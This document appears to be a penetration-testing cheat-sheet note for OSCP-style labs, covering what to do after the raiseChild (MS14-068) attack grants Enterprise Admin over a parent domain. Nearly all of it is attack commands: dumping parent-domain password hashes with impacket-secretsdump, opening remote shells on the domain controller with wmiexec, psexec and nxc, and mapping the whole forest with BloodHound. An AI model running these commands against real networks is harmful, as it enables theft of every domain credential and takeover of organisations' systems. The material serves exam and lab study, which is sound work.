Use raiseChild EA

Use raiseChild — Enterprise Admin Access

Ctrl+F: raiseChild · MS14-068 · Enterprise Admin · child domain · forest

You have: Enterprise Admin (or equivalent) on the parent domain after raiseChild succeeds.

Request exploit → Kerberos Scripts > 📌 6) raiseChild.py — Child Domain → Enterprise Admin (MS14-068)

---

📌 1) What you gained

• Privileged access across forest trust (child → parent)
• Ability to DCSync parent domain
• Often a ccache or credentials in raiseChild output — check terminal output

---

📌 2) Dump parent domain hashes

# If raiseChild gave you EA creds / ticket
export KRB5CCNAME=administrator.ccache   # if applicable
 
impacket-secretsdump corp.local/administrator:'PASSWORD'@PARENT_DC_IP -just-dc-ntlm
impacket-secretsdump -k -no-pass corp.local/administrator@PARENT_DC_IP -just-dc-ntlm

→ Use Kerberos Ticket if using -k · secretsdump · NTDS.dit

---

📌 3) Shell on parent DC / hosts

impacket-wmiexec corp.local/administrator:'PASSWORD'@PARENT_DC_IP
impacket-psexec corp.local/administrator:'PASSWORD'@PARENT_DC_IP
nxc smb PARENT_DC_IP -u administrator -p 'PASSWORD' -x whoami

---

📌 4) BloodHound — full forest

bloodhound-python -d parent.local -u administrator -p 'PASSWORD' -dc PARENT_DC_IP -c All

→ Bloodhound + Sharphound

---

📌 OSCP note

Modern exam: Kerberoast → ACL → DCSync is more common. raiseChild is for forest / child-domain lab boxes — know it exists, run it when you control a child domain machine account.

Chain → Credential Graph · AD

---

Related Notes

• Kerberos Scripts
• Use Kerberos Ticket
• secretsdump
• NTDS.dit
• Credential Graph